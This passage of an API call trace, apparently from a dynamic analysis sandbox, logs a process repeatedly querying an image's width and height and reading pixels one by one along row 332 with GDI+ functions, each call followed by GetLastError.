(image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.808] GetLastError () returned 0x0 [0032.808] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.809] GetLastError () returned 0x0 [0032.809] GdipBitmapGetPixel (bitmap=0x1272f08, x=56, y=332, color=0x30cf3c) returned 0x0 [0032.809] GetLastError () returned 0x0 [0032.809] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.809] GetLastError () returned 0x0 [0032.809] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.809] GetLastError () returned 0x0 [0032.809] GdipBitmapGetPixel (bitmap=0x1272f08, x=57, y=332, color=0x30cf3c) returned 0x0 [0032.809] GetLastError () returned 0x0 [0032.809] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.809] GetLastError () returned 0x0 [0032.809] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.809] GetLastError () returned 0x0 [0032.809] GdipBitmapGetPixel (bitmap=0x1272f08, x=58, y=332, color=0x30cf3c) returned 0x0 [0032.809] GetLastError () returned 0x0 [0032.809] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.809] GetLastError () returned 0x0 [0032.809] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.809] GetLastError () returned 0x0 [0032.809] GdipBitmapGetPixel (bitmap=0x1272f08, x=59, y=332, color=0x30cf3c) returned 0x0 [0032.809] GetLastError () returned 0x0 [0032.809] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.809] GetLastError () returned 0x0 [0032.809] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.809] GetLastError () returned 0x0 [0032.809] GdipBitmapGetPixel (bitmap=0x1272f08, x=60, y=332, color=0x30cf3c) returned 0x0 [0032.809] GetLastError () returned 0x0 [0032.809] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.809] GetLastError () returned 0x0 [0032.809] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.809] GetLastError () returned 0x0 [0032.809] GdipBitmapGetPixel (bitmap=0x1272f08, x=61, y=332, color=0x30cf3c) returned 0x0 [0032.809] GetLastError () returned 0x0 [0032.809] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.809] GetLastError () returned 0x0 [0032.809] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.809] GetLastError () returned 0x0 [0032.809] GdipBitmapGetPixel (bitmap=0x1272f08, x=62, y=332, color=0x30cf3c) returned 0x0 [0032.809] GetLastError () returned 0x0 [0032.809] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.809] GetLastError () returned 0x0 [0032.809] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.809] GetLastError () returned 0x0 [0032.809] GdipBitmapGetPixel (bitmap=0x1272f08, x=63, y=332, color=0x30cf3c) returned 0x0 [0032.809] GetLastError () returned 0x0 [0032.809] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.810] GetLastError () returned 0x0 [0032.810] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.810] GetLastError () returned 0x0 [0032.810] GdipBitmapGetPixel (bitmap=0x1272f08, x=64, y=332, color=0x30cf3c) returned 0x0 [0032.810] GetLastError () returned 0x0 [0032.810] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.810] GetLastError () returned 0x0 [0032.810] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.810] GetLastError () returned 0x0 [0032.810] GdipBitmapGetPixel (bitmap=0x1272f08, x=65, y=332, color=0x30cf3c) returned 0x0 [0032.810] GetLastError () returned 0x0 [0032.810] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.810] GetLastError () returned 0x0 [0032.810] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.810] GetLastError () returned 0x0 [0032.810] GdipBitmapGetPixel (bitmap=0x1272f08, x=66, y=332, color=0x30cf3c) returned 0x0 [0032.810] GetLastError () returned 0x0 [0032.810] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.810] GetLastError () returned 0x0 [0032.810] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.810] GetLastError () returned 0x0 [0032.810] GdipBitmapGetPixel (bitmap=0x1272f08, x=67, y=332, color=0x30cf3c) returned 0x0 [0032.810] GetLastError () returned 0x0 [0032.810] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.810] GetLastError () returned 0x0 [0032.810] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.810] GetLastError () returned 0x0 [0032.810] GdipBitmapGetPixel (bitmap=0x1272f08, x=68, y=332, color=0x30cf3c) returned 0x0 [0032.810] GetLastError () returned 0x0 [0032.810] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.810] GetLastError () returned 0x0 [0032.810] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.810] GetLastError () returned 0x0 [0032.810] GdipBitmapGetPixel (bitmap=0x1272f08, x=69, y=332, color=0x30cf3c) returned 0x0 [0032.810] GetLastError () returned 0x0 [0032.810] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.810] GetLastError () returned 0x0 [0032.810] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.810] GetLastError () returned 0x0 [0032.810] GdipBitmapGetPixel (bitmap=0x1272f08, x=70, y=332, color=0x30cf3c) returned 0x0 [0032.810] GetLastError () returned 0x0 [0032.810] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.810] GetLastError () returned 0x0 [0032.810] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.810] GetLastError () returned 0x0 [0032.810] GdipBitmapGetPixel (bitmap=0x1272f08, x=71, y=332, color=0x30cf3c) returned 0x0 [0032.811] GetLastError () returned 0x0 [0032.811] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.811] GetLastError () returned 0x0 [0032.811] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.811] GetLastError () returned 0x0 [0032.811] GdipBitmapGetPixel (bitmap=0x1272f08, x=72, y=332, color=0x30cf3c) returned 0x0 [0032.811] GetLastError () returned 0x0 [0032.811] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.811] GetLastError () returned 0x0 [0032.811] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.811] GetLastError () returned 0x0 [0032.811] GdipBitmapGetPixel (bitmap=0x1272f08, x=73, y=332, color=0x30cf3c) returned 0x0 [0032.811] GetLastError () returned 0x0 [0032.811] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.811] GetLastError () returned 0x0 [0032.811] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.811] GetLastError () returned 0x0 [0032.811] GdipBitmapGetPixel (bitmap=0x1272f08, x=74, y=332, color=0x30cf3c) returned 0x0 [0032.811] GetLastError () returned 0x0 [0032.811] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.811] GetLastError () returned 0x0 [0032.811] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.811] GetLastError () returned 0x0 [0032.811] GdipBitmapGetPixel (bitmap=0x1272f08, x=75, y=332, color=0x30cf3c) returned 0x0 [0032.811] GetLastError () returned 0x0 [0032.811] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.811] GetLastError () returned 0x0 [0032.811] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.811] GetLastError () returned 0x0 [0032.811] GdipBitmapGetPixel (bitmap=0x1272f08, x=76, y=332, color=0x30cf3c) returned 0x0 [0032.811] GetLastError () returned 0x0 [0032.811] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.811] GetLastError () returned 0x0 [0032.811] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.811] GetLastError () returned 0x0 [0032.811] GdipBitmapGetPixel (bitmap=0x1272f08, x=77, y=332, color=0x30cf3c) returned 0x0 [0032.811] GetLastError () returned 0x0 [0032.811] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.811] GetLastError () returned 0x0 [0032.811] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.811] GetLastError () returned 0x0 [0032.811] GdipBitmapGetPixel (bitmap=0x1272f08, x=78, y=332, color=0x30cf3c) returned 0x0 [0032.811] GetLastError () returned 0x0 [0032.811] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.811] GetLastError () returned 0x0 [0032.811] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.811] GetLastError () returned 0x0 [0032.812] GdipBitmapGetPixel (bitmap=0x1272f08, x=79, y=332, color=0x30cf3c) returned 0x0 [0032.812] GetLastError () returned 0x0 [0032.812] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.812] GetLastError () returned 0x0 [0032.812] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.812] GetLastError () returned 0x0 [0032.812] GdipBitmapGetPixel (bitmap=0x1272f08, x=80, y=332, color=0x30cf3c) returned 0x0 [0032.812] GetLastError () returned 0x0 [0032.812] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.812] GetLastError () returned 0x0 [0032.812] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.812] GetLastError () returned 0x0 [0032.812] GdipBitmapGetPixel (bitmap=0x1272f08, x=81, y=332, color=0x30cf3c) returned 0x0 [0032.812] GetLastError () returned 0x0 [0032.812] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.812] GetLastError () returned 0x0 [0032.812] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.812] GetLastError () returned 0x0 [0032.812] GdipBitmapGetPixel (bitmap=0x1272f08, x=82, y=332, color=0x30cf3c) returned 0x0 [0032.812] GetLastError () returned 0x0 [0032.812] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.812] GetLastError () returned 0x0 [0032.812] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.812] GetLastError () returned 0x0 [0032.812] GdipBitmapGetPixel (bitmap=0x1272f08, x=83, y=332, color=0x30cf3c) returned 0x0 [0032.812] GetLastError () returned 0x0 [0032.812] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.812] GetLastError () returned 0x0 [0032.812] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.812] GetLastError () returned 0x0 [0032.812] GdipBitmapGetPixel (bitmap=0x1272f08, x=84, y=332, color=0x30cf3c) returned 0x0 [0032.812] GetLastError () returned 0x0 [0032.812] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.812] GetLastError () returned 0x0 [0032.812] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.812] GetLastError () returned 0x0 [0032.812] GdipBitmapGetPixel (bitmap=0x1272f08, x=85, y=332, color=0x30cf3c) returned 0x0 [0032.812] GetLastError () returned 0x0 [0032.812] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.812] GetLastError () returned 0x0 [0032.812] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.812] GetLastError () returned 0x0 [0032.812] GdipBitmapGetPixel (bitmap=0x1272f08, x=86, y=332, color=0x30cf3c) returned 0x0 [0032.812] GetLastError () returned 0x0 [0032.812] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.812] GetLastError () returned 0x0 [0032.812] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.813] GetLastError () returned 0x0 [0032.813] GdipBitmapGetPixel (bitmap=0x1272f08, x=87, y=332, color=0x30cf3c) returned 0x0 [0032.813] GetLastError () returned 0x0 [0032.813] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.813] GetLastError () returned 0x0 [0032.813] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.813] GetLastError () returned 0x0 [0032.813] GdipBitmapGetPixel (bitmap=0x1272f08, x=88, y=332, color=0x30cf3c) returned 0x0 [0032.813] GetLastError () returned 0x0 [0032.813] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.813] GetLastError () returned 0x0 [0032.813] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.813] GetLastError () returned 0x0 [0032.813] GdipBitmapGetPixel (bitmap=0x1272f08, x=89, y=332, color=0x30cf3c) returned 0x0 [0032.813] GetLastError () returned 0x0 [0032.813] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.813] GetLastError () returned 0x0 [0032.813] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.813] GetLastError () returned 0x0 [0032.813] GdipBitmapGetPixel (bitmap=0x1272f08, x=90, y=332, color=0x30cf3c) returned 0x0 [0032.813] GetLastError () returned 0x0 [0032.813] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.813] GetLastError () returned 0x0 [0032.813] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.813] GetLastError () returned 0x0 [0032.813] GdipBitmapGetPixel (bitmap=0x1272f08, x=91, y=332, color=0x30cf3c) returned 0x0 [0032.813] GetLastError () returned 0x0 [0032.813] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.813] GetLastError () returned 0x0 [0032.813] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.813] GetLastError () returned 0x0 [0032.813] GdipBitmapGetPixel (bitmap=0x1272f08, x=92, y=332, color=0x30cf3c) returned 0x0 [0032.813] GetLastError () returned 0x0 [0032.813] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.813] GetLastError () returned 0x0 [0032.813] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.813] GetLastError () returned 0x0 [0032.813] GdipBitmapGetPixel (bitmap=0x1272f08, x=93, y=332, color=0x30cf3c) returned 0x0 [0032.813] GetLastError () returned 0x0 [0032.813] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.813] GetLastError () returned 0x0 [0032.813] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.813] GetLastError () returned 0x0 [0032.813] GdipBitmapGetPixel (bitmap=0x1272f08, x=94, y=332, color=0x30cf3c) returned 0x0 [0032.813] GetLastError () returned 0x0 [0032.813] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.814] GetLastError () returned 0x0 [0032.814] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.814] GetLastError () returned 0x0 [0032.814] GdipBitmapGetPixel (bitmap=0x1272f08, x=95, y=332, color=0x30cf3c) returned 0x0 [0032.814] GetLastError () returned 0x0 [0032.814] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.814] GetLastError () returned 0x0 [0032.814] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.814] GetLastError () returned 0x0 [0032.814] GdipBitmapGetPixel (bitmap=0x1272f08, x=96, y=332, color=0x30cf3c) returned 0x0 [0032.814] GetLastError () returned 0x0 [0032.814] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.814] GetLastError () returned 0x0 [0032.814] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.814] GetLastError () returned 0x0 [0032.814] GdipBitmapGetPixel (bitmap=0x1272f08, x=97, y=332, color=0x30cf3c) returned 0x0 [0032.814] GetLastError () returned 0x0 [0032.814] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.814] GetLastError () returned 0x0 [0032.814] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.814] GetLastError () returned 0x0 [0032.814] GdipBitmapGetPixel (bitmap=0x1272f08, x=98, y=332, color=0x30cf3c) returned 0x0 [0032.814] GetLastError () returned 0x0 [0032.814] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.814] GetLastError () returned 0x0 [0032.814] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.814] GetLastError () returned 0x0 [0032.814] GdipBitmapGetPixel (bitmap=0x1272f08, x=99, y=332, color=0x30cf3c) returned 0x0 [0032.814] GetLastError () returned 0x0 [0032.814] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.814] GetLastError () returned 0x0 [0032.814] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.814] GetLastError () returned 0x0 [0032.814] GdipBitmapGetPixel (bitmap=0x1272f08, x=100, y=332, color=0x30cf3c) returned 0x0 [0032.814] GetLastError () returned 0x0 [0032.814] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.814] GetLastError () returned 0x0 [0032.814] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.814] GetLastError () returned 0x0 [0032.814] GdipBitmapGetPixel (bitmap=0x1272f08, x=101, y=332, color=0x30cf3c) returned 0x0 [0032.814] GetLastError () returned 0x0 [0032.814] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.814] GetLastError () returned 0x0 [0032.814] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.814] GetLastError () returned 0x0 [0032.814] GdipBitmapGetPixel (bitmap=0x1272f08, x=102, y=332, color=0x30cf3c) returned 0x0 [0032.814] GetLastError () returned 0x0 [0032.815] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.815] GetLastError () returned 0x0 [0032.815] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.815] GetLastError () returned 0x0 [0032.815] GdipBitmapGetPixel (bitmap=0x1272f08, x=103, y=332, color=0x30cf3c) returned 0x0 [0032.815] GetLastError () returned 0x0 [0032.815] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.815] GetLastError () returned 0x0 [0032.815] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.815] GetLastError () returned 0x0 [0032.815] GdipBitmapGetPixel (bitmap=0x1272f08, x=104, y=332, color=0x30cf3c) returned 0x0 [0032.815] GetLastError () returned 0x0 [0032.815] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.815] GetLastError () returned 0x0 [0032.815] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.815] GetLastError () returned 0x0 [0032.815] GdipBitmapGetPixel (bitmap=0x1272f08, x=105, y=332, color=0x30cf3c) returned 0x0 [0032.815] GetLastError () returned 0x0 [0032.815] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.815] GetLastError () returned 0x0 [0032.815] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.815] GetLastError () returned 0x0 [0032.815] GdipBitmapGetPixel (bitmap=0x1272f08, x=106, y=332, color=0x30cf3c) returned 0x0 [0032.815] GetLastError () returned 0x0 [0032.815] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.815] GetLastError () returned 0x0 [0032.815] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.815] GetLastError () returned 0x0 [0032.815] GdipBitmapGetPixel (bitmap=0x1272f08, x=107, y=332, color=0x30cf3c) returned 0x0 [0032.815] GetLastError () returned 0x0 [0032.815] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.815] GetLastError () returned 0x0 [0032.815] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.815] GetLastError () returned 0x0 [0032.815] GdipBitmapGetPixel (bitmap=0x1272f08, x=108, y=332, color=0x30cf3c) returned 0x0 [0032.815] GetLastError () returned 0x0 [0032.815] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.815] GetLastError () returned 0x0 [0032.815] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.815] GetLastError () returned 0x0 [0032.815] GdipBitmapGetPixel (bitmap=0x1272f08, x=109, y=332, color=0x30cf3c) returned 0x0 [0032.815] GetLastError () returned 0x0 [0032.815] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.815] GetLastError () returned 0x0 [0032.815] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.815] GetLastError () returned 0x0 [0032.815] GdipBitmapGetPixel (bitmap=0x1272f08, x=110, y=332, color=0x30cf3c) returned 0x0 [0032.816] GetLastError () returned 0x0 [0032.816] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.816] GetLastError () returned 0x0 [0032.816] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.816] GetLastError () returned 0x0 [0032.816] GdipBitmapGetPixel (bitmap=0x1272f08, x=111, y=332, color=0x30cf3c) returned 0x0 [0032.816] GetLastError () returned 0x0 [0032.816] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.816] GetLastError () returned 0x0 [0032.816] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.816] GetLastError () returned 0x0 [0032.816] GdipBitmapGetPixel (bitmap=0x1272f08, x=112, y=332, color=0x30cf3c) returned 0x0 [0032.816] GetLastError () returned 0x0 [0032.816] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.816] GetLastError () returned 0x0 [0032.816] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.816] GetLastError () returned 0x0 [0032.816] GdipBitmapGetPixel (bitmap=0x1272f08, x=113, y=332, color=0x30cf3c) returned 0x0 [0032.816] GetLastError () returned 0x0 [0032.816] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.816] GetLastError () returned 0x0 [0032.816] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.816] GetLastError () returned 0x0 [0032.816] GdipBitmapGetPixel (bitmap=0x1272f08, x=114, y=332, color=0x30cf3c) returned 0x0 [0032.816] GetLastError () returned 0x0 [0032.816] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.816] GetLastError () returned 0x0 [0032.816] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.816] GetLastError () returned 0x0 [0032.816] GdipBitmapGetPixel (bitmap=0x1272f08, x=115, y=332, color=0x30cf3c) returned 0x0 [0032.816] GetLastError () returned 0x0 [0032.816] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.816] GetLastError () returned 0x0 [0032.816] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.816] GetLastError () returned 0x0 [0032.816] GdipBitmapGetPixel (bitmap=0x1272f08, x=116, y=332, color=0x30cf3c) returned 0x0 [0032.816] GetLastError () returned 0x0 [0032.816] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.816] GetLastError () returned 0x0 [0032.816] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.816] GetLastError () returned 0x0 [0032.816] GdipBitmapGetPixel (bitmap=0x1272f08, x=117, y=332, color=0x30cf3c) returned 0x0 [0032.816] GetLastError () returned 0x0 [0032.816] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.816] GetLastError () returned 0x0 [0032.816] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.817] GetLastError () returned 0x0 [0032.817] GdipBitmapGetPixel (bitmap=0x1272f08, x=118, y=332, color=0x30cf3c) returned 0x0 [0032.817] GetLastError () returned 0x0 [0032.817] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.817] GetLastError () returned 0x0 [0032.817] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.817] GetLastError () returned 0x0 [0032.817] GdipBitmapGetPixel (bitmap=0x1272f08, x=119, y=332, color=0x30cf3c) returned 0x0 [0032.817] GetLastError () returned 0x0 [0032.817] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.817] GetLastError () returned 0x0 [0032.817] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.817] GetLastError () returned 0x0 [0032.817] GdipBitmapGetPixel (bitmap=0x1272f08, x=120, y=332, color=0x30cf3c) returned 0x0 [0032.817] GetLastError () returned 0x0 [0032.817] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.817] GetLastError () returned 0x0 [0032.817] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.817] GetLastError () returned 0x0 [0032.817] GdipBitmapGetPixel (bitmap=0x1272f08, x=121, y=332, color=0x30cf3c) returned 0x0 [0032.817] GetLastError () returned 0x0 [0032.817] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.817] GetLastError () returned 0x0 [0032.817] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.817] GdipBitmapGetPixel (bitmap=0x1272f08, x=122, y=332, color=0x30cf3c) returned 0x0 [0032.817] GetLastError () returned 0x0 [0032.817] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.817] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.817] GdipBitmapGetPixel (bitmap=0x1272f08, x=123, y=332, color=0x30cf3c) returned 0x0 [0032.817] GetLastError () returned 0x0 [0032.817] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.817] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.817] GdipBitmapGetPixel (bitmap=0x1272f08, x=124, y=332, color=0x30cf3c) returned 0x0 [0032.817] GetLastError () returned 0x0 [0032.817] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.817] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.817] GdipBitmapGetPixel (bitmap=0x1272f08, x=125, y=332, color=0x30cf3c) returned 0x0 [0032.817] GetLastError () returned 0x0 [0032.817] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.817] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.817] GdipBitmapGetPixel (bitmap=0x1272f08, x=126, y=332, color=0x30cf3c) returned 0x0 [0032.817] GetLastError () returned 0x0 [0032.818] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.818] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.818] GdipBitmapGetPixel (bitmap=0x1272f08, x=127, y=332, color=0x30cf3c) returned 0x0 [0032.818] GetLastError () returned 0x0 [0032.818] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.818] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.818] GdipBitmapGetPixel (bitmap=0x1272f08, x=128, y=332, color=0x30cf3c) returned 0x0 [0032.818] GetLastError () returned 0x0 [0032.818] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.818] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.818] GdipBitmapGetPixel (bitmap=0x1272f08, x=129, y=332, color=0x30cf3c) returned 0x0 [0032.818] GetLastError () returned 0x0 [0032.818] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.818] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.818] GdipBitmapGetPixel (bitmap=0x1272f08, x=130, y=332, color=0x30cf3c) returned 0x0 [0032.818] GetLastError () returned 0x0 [0032.818] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.818] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.818] GdipBitmapGetPixel (bitmap=0x1272f08, x=131, y=332, color=0x30cf3c) returned 0x0 [0032.818] GetLastError () returned 0x0 [0032.818] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.818] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.818] GdipBitmapGetPixel (bitmap=0x1272f08, x=132, y=332, color=0x30cf3c) returned 0x0 [0032.818] GetLastError () returned 0x0 [0032.818] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.818] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 